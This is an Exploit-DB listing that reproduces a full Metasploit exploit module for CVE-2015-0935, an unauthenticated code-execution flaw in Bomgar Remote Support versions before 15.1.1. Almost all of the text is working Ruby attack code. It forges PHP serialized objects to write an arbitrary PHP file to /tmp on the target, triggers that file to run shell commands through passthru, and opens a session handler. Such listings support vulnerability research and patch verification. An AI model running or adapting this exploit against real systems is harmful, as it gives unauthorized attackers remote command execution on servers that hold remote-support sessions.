Bomgar Remote Support Unauthenticated Code Execution msf

2016-06-15T00:00:00
ID EDB-ID:39958
Type exploitdb
Reporter Markus Wulftange
Modified 2016-06-15T00:00:00

Description

Bomgar Remote Support Unauthenticated Code Execution (msf). CVE-2015-0935. Remote exploit for linux platform

                                        
                                            ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize
    super(
      'Name'           => 'Bomgar Remote Support Unauthenticated Code Execution',
      'Description'    => %q{
        This module exploits a vulnerability in the Bomgar Remote Support, which
        deserializes user provided data using PHP's `unserialize` method.
        By providing an specially crafted PHP serialized object, it is possible
        to write arbitrary data to arbitrary files. This effectively allows the
        execution of arbitrary PHP code in the context of the Bomgar Remote Support
        system user.

        To exploit the vulnerability, a valid Logging Session ID (LSID) is required.
        It consists of four key-value pairs (i. e., 'h=[...];l=[...];m=[...];t=[...]')
        and can be retrieved by an unauthenticated user at the end of the process
        of submitting a new issue via the 'Issue Submission' form.

        Versions before 15.1.1 are reported to be vulnerable.
      },
      'Author'         =>
        [
          'Markus Wulftange',
        ],
      'License'        => MSF_LICENSE,
      'DisclosureDate' => 'May 5 2015',
      'References'     =>
        [
          ['CWE', '94'],
          ['CWE', '502'],
          ['CVE', '2015-0935'],
          ['US-CERT-VU', '978652'],
          ['URL', 'http://codewhitesec.blogspot.com/2015/05/cve-2015-0935-bomgar-remote-support-portal.html'],
        ],
      'Privileged'     => false,
      'Targets'        =>
        [
          [ 'Linux x86',
            {
              'Platform'        => 'linux',
              'Arch'            => ARCH_X86,
              'CmdStagerFlavor' => [ :echo, :printf ]
            }
          ],
          [ 'Linux x86_64',
            {
              'Platform'        => 'linux',
              'Arch'            => ARCH_X86_64,
              'CmdStagerFlavor' => [ :echo, :printf ]
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DefaultOptions' =>
        {
          'RPORT'      => 443,
          'SSL'        => true,
          'TARGETURI'  => '/session_complete',
        },
    )

    register_options(
      [
        OptString.new('LSID', [true, 'Logging Session ID']),
      ], self.class
    )
  end

  def check
    version = detect_version

    if version
      print_status("Version #{version} detected")
      if version < '15.1.1'
        return Exploit::CheckCode::Appears
      else
        return Exploit::CheckCode::Safe
      end
    end

    print_status("Version could not be detected")
    return Exploit::CheckCode::Unknown
  end

  def exploit
    execute_cmdstager

    handler
  end

  def execute_command(cmd, opts)
    tmpfile = "/tmp/#{rand_text_alphanumeric(10)}.php"

    vprint_status("Uploading payload to #{tmpfile} ...")
    upload_php_file(tmpfile, generate_stager_php(cmd))

    vprint_status("Triggering payload in #{tmpfile} ...")
    execute_php_file(tmpfile)
  end

  def detect_version
    res = send_request_raw(
      'uri' => '/'
    )

    if res and res.code == 200 and res.body.to_s =~ /<!--Product Version: (\d+\.\d+\.\d+)-->/
      return $1
    end
  end

  def upload_php_file(filepath, data)
    send_pso(generate_upload_file_pso(filepath, data))
  end

  def execute_php_file(filepath)
    send_pso(generate_autoload_pso(filepath))
  end

  def send_pso(pso)
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path),
      'vars_post' => {
        'lsid'    => datastore['LSID'],
        'survey'  => pso,
      }
    )

    if res
      if res.code != 200
        fail_with(Failure::UnexpectedReply, "Unexpected response from server: status code #{res.code}")
      end
      if res.body.to_s =~ />ERROR: ([^<>]+)</
        fail_with(Failure::Unknown, "Error occured: #{$1}")
      end
    else
      fail_with(Failure::Unreachable, "Error connecting to the remote server") unless successful
    end

    res
  end

  def generate_stager_php(cmd)
    "<?php unlink(__FILE__); passthru('#{cmd.gsub(/[\\']/, '\\\\\&')}');"
  end

  def generate_upload_file_pso(filepath, data)
    log_file = PHPObject.new(
      "Log_file",
      {
        "_filename"   => filepath,
        "_lineFormat" => "",
        "_eol"        => data,
        "_append"     => false,
      }
    )
    logger = PHPObject.new(
      "Logger",
      {
        "\0Logger\0_logs" => [ log_file ]
      }
    )
    tracer = PHPObject.new(
      "Tracer",
      {
        "\0Tracer\0_log" => logger
      }
    )

    serialize(tracer)
  end

  def generate_autoload_pso(filepath)
    object = PHPObject.new(
      filepath.chomp('.php').gsub('/', '_'),
      {}
    )

    serialize(object)
  end

  class PHPObject
    attr_reader :name, :members

    def initialize(name, members)
      @name = name
      @members = members
    end
  end

  def serialize(value)
    case value.class.name.split('::').last
      when 'Array' then serialize_array_numeric(value)
      when 'Fixnum' then serialize_integer(value)
      when 'Float' then serialize_double(value)
      when 'Hash' then serialize_array_assoc(value)
      when 'Nil' then serialize_nil
      when 'PHPObject' then serialize_object(value)
      when 'String' then serialize_string(value)
      when 'TrueClass', 'FalseClass' then serialize_boolean(value)
      else raise "Value of #{value.class} cannot be serialized"
    end
  end

  def serialize_array_numeric(a)
    "a:#{a.size}:{" + a.each_with_index.map { |v, i|
      serialize_integer(i) + serialize(v)
    }.join + "}"
  end

  def serialize_array_assoc(h)
    "a:#{h.size}:{" + h.each_pair.map { |k, v|
      serialize_string(k) + serialize(v)
    }.join + "}"
  end

  def serialize_boolean(b)
    "b:#{b ? '1' : '0'};"
  end

  def serialize_double(f)
    "d:#{f};"
  end

  def serialize_integer(i)
    "i:#{i};"
  end

  def serialize_null
    "N;"
  end

  def serialize_object(o)
    "O:#{serialize_string(o.name)[2..-2]}:#{serialize_array_assoc(o.members)[2..-1]}"
  end

  def serialize_string(s)
    "s:#{s.size}:\"#{s}\";"
  end

end